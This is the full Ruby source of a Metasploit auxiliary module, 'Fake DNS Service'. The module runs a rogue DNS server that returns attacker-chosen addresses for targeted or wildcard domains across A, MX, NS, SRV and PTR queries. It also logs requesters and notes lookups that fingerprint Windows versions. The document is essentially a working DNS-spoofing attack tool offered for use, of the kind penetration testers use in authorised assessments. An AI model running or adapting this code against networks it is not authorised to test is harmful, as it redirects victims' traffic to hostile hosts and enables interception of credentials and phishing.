Fake DNS Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'resolv'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
  
  
def initialize  
super(  
'Name' => 'Fake DNS Service',  
'Description' => %q{  
This module provides a DNS service that redirects  
all queries to a particular address.  
},  
'Author' => ['ddz', 'hdm', 'fozavci'],  
'License' => MSF_LICENSE,  
'Actions' =>  
[  
[ 'Service', 'Description' => 'Run DNS server' ]  
],  
'PassiveActions' =>  
[  
'Service'  
],  
'DefaultAction' => 'Service'  
)  
  
register_options(  
[  
OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),  
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 53 ]),  
OptAddress.new('TARGETHOST', [ false, "The address that all names should resolve to", nil ]),  
OptString.new('TARGETDOMAIN', [ true, "The list of target domain names we want to fully resolve (BYPASS) or fake resolve (FAKE). Use '*' for wildcard.", 'www.google.com']),  
OptEnum.new('TARGETACTION', [ true, "Action for TARGETDOMAIN", "BYPASS", %w{FAKE BYPASS}]),  
])  
  
register_advanced_options(  
[  
OptPort.new('RR_SRV_PORT', [ false, "The port field in the SRV response when FAKE", 5060]),  
OptBool.new('LogConsole', [ false, "Determines whether to log all request to the console", true]),  
OptBool.new('LogDatabase', [ false, "Determines whether to log all request to the database", false]),  
])  
end  
  
  
def target_host(addr = nil)  
target = datastore['TARGETHOST']  
if target.blank?  
if addr  
::Rex::Socket.source_address(addr)  
else  
nil  
end  
else  
::Rex::Socket.resolv_to_dotted(target)  
end  
end  
  
def run  
@port = datastore['SRVPORT'].to_i  
  
@log_console = false  
@log_database = false  
  
if datastore['LogConsole']  
@log_console = true  
end  
  
if datastore['LogDatabase']  
@log_database = true  
end  
  
# MacOS X workaround  
::Socket.do_not_reverse_lookup = true  
  
print_status("DNS server initializing")  
@sock = ::UDPSocket.new()  
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)  
@sock.bind(datastore['SRVHOST'], @port)  
@run = true  
@domain_target_list = datastore['TARGETDOMAIN'].split  
@bypass = ( datastore['TARGETACTION'].upcase == "BYPASS" )  
  
print_status("DNS server started")  
begin  
  
while @run  
@error_resolving = false  
packet, addr = @sock.recvfrom(65535)  
src_addr = addr[3]  
@requestor = addr  
next if packet.length == 0  
  
request = Resolv::DNS::Message.decode(packet)  
next unless request.qr == 0  
  
#  
# XXX: Track request IDs by requesting IP address and port  
#  
# Windows XP SP1a: UDP source port constant,  
# sequential IDs since boot time  
# Windows XP SP2: Randomized IDs  
#  
# Debian 3.1: Static source port (32906) until timeout,  
# randomized IDs  
#  
  
lst = []  
  
request.each_question {|name, typeclass|  
# Identify potential domain exceptions  
@match_target = false  
@match_name = name.to_s  
@domain_target_list.each do |ex|  
escaped = Regexp.escape(ex).gsub('\*','.*?')  
regex = Regexp.new "^#{escaped}$", Regexp::IGNORECASE  
if ( name.to_s =~ regex )  
@match_target = true  
@match_name = ex  
end  
end  
  
tc_s = typeclass.to_s().gsub(/^Resolv::DNS::Resource::/, "")  
  
request.qr = 1  
request.ra = 1  
  
lst << "#{tc_s} #{name}"  
case tc_s  
when 'IN::A'  
  
# Special fingerprinting name lookups:  
#  
# _isatap -> XP SP = 0  
# isatap.localdomain -> XP SP >= 1  
# teredo.ipv6.microsoft.com -> XP SP >= 2  
#  
# time.windows.com -> windows ???  
# wpad.localdomain -> windows ???  
#  
# <hostname> SOA -> windows XP self hostname lookup  
#  
  
answer = Resolv::DNS::Resource::IN::A.new(target_host(src_addr))  
  
if (@match_target and not @bypass) or (not @match_target and @bypass)  
# Resolve FAKE response  
if (@log_console)  
print_status("DNS target domain #{@match_name} found; Returning fake A records for #{name}")  
end  
else  
# Resolve the exception domain  
begin  
ip = Resolv::DNS.new().getaddress(name).to_s  
answer = Resolv::DNS::Resource::IN::A.new( ip )  
rescue ::Exception => e  
@error_resolving = true  
next  
end  
if (@log_console)  
print_status("DNS bypass domain #{@match_name} found; Returning real A records for #{name}")  
end  
end  
  
  
request.add_answer(name, 60, answer)  
  
when 'IN::MX'  
mx = Resolv::DNS::Resource::IN::MX.new(10, Resolv::DNS::Name.create("mail.#{name}"))  
ns = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create("dns.#{name}"))  
ar = Resolv::DNS::Resource::IN::A.new(target_host(src_addr))  
request.add_answer(name, 60, mx)  
request.add_authority(name, 60, ns)  
request.add_additional(Resolv::DNS::Name.create("mail.#{name}"), 60, ar)  
  
when 'IN::NS'  
ns = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create("dns.#{name}"))  
ar = Resolv::DNS::Resource::IN::A.new(target_host(src_addr))  
request.add_answer(name, 60, ns)  
request.add_additional(name, 60, ar)  
  
when 'IN::SRV'  
if @bypass || !@match_target  
if @log_console  
print_status("DNS bypass domain #{@match_name} found; Returning real SRV records for #{name}")  
end  
# if we are in bypass mode or we are in fake mode but the target didn't match,  
# just return the real response RRs  
resources = Resolv::DNS.new().getresources(Resolv::DNS::Name.create(name), Resolv::DNS::Resource::IN::SRV)  
if resources.empty?  
@error_resolving = true  
print_error("Unable to resolve SRV record for #{name} -- skipping")  
next  
end  
resources.each do |resource|  
host = resource.target  
port = resource.port.to_i  
weight = resource.weight.to_i  
priority = resource.priority.to_i  
ttl = resource.ttl.to_i  
request.add_answer(  
name,  
ttl,  
Resolv::DNS::Resource::IN::SRV.new(priority, weight, port, Resolv::DNS::Name.create(host))  
)  
end  
else  
if @log_console  
print_status("DNS target domain #{@match_name} found; Returning fake SRV records for #{name}")  
# Prepare the FAKE response  
request.add_answer(  
name,  
10,  
Resolv::DNS::Resource::IN::SRV.new(5, 0, datastore['RR_SRV_PORT'], Resolv::DNS::Name.create(name))  
)  
request.add_additional(Resolv::DNS::Name.create(name), 60, Resolv::DNS::Resource::IN::A.new(target_host(src_addr)))  
end  
end  
when 'IN::PTR'  
soa = Resolv::DNS::Resource::IN::SOA.new(  
Resolv::DNS::Name.create("ns.internet.com"),  
Resolv::DNS::Name.create("root.internet.com"),  
1,  
3600,  
3600,  
3600,  
3600  
)  
ans = Resolv::DNS::Resource::IN::PTR.new(  
Resolv::DNS::Name.create("www")  
)  
  
request.add_answer(name, 60, ans)  
request.add_authority(name, 60, soa)  
else  
lst << "UNKNOWN #{tc_s}"  
end  
}  
  
if(@log_console)  
if(@error_resolving)  
print_error("XID #{request.id} (#{lst.join(", ")}) - Error resolving")  
else  
print_status("XID #{request.id} (#{lst.join(", ")})")  
end  
end  
  
if(@log_database)  
report_note(  
:host => addr[3],  
:type => "dns_lookup",  
:data => "#{addr[3]}:#{addr[1]} XID #{request.id} (#{lst.join(", ")})"  
) if lst.length > 0  
end  
  
  
@sock.send(request.encode(), 0, addr[3], addr[1])  
end  
  
rescue ::Exception => e  
print_error("fakedns: #{e.class} #{e} #{e.backtrace}")  
# Make sure the socket gets closed on exit  
ensure  
@sock.close  
end  
end  
  
def print_error(msg)  
@requestor ? super("%s:%p - DNS - %s" % [@requestor[3], @requestor[1], msg]) : super(msg)  
end  
  
def print_status(msg)  
@requestor ? super("%s:%p - DNS - %s" % [@requestor[3], @requestor[1], msg]) : super(msg)  
end  
end  
`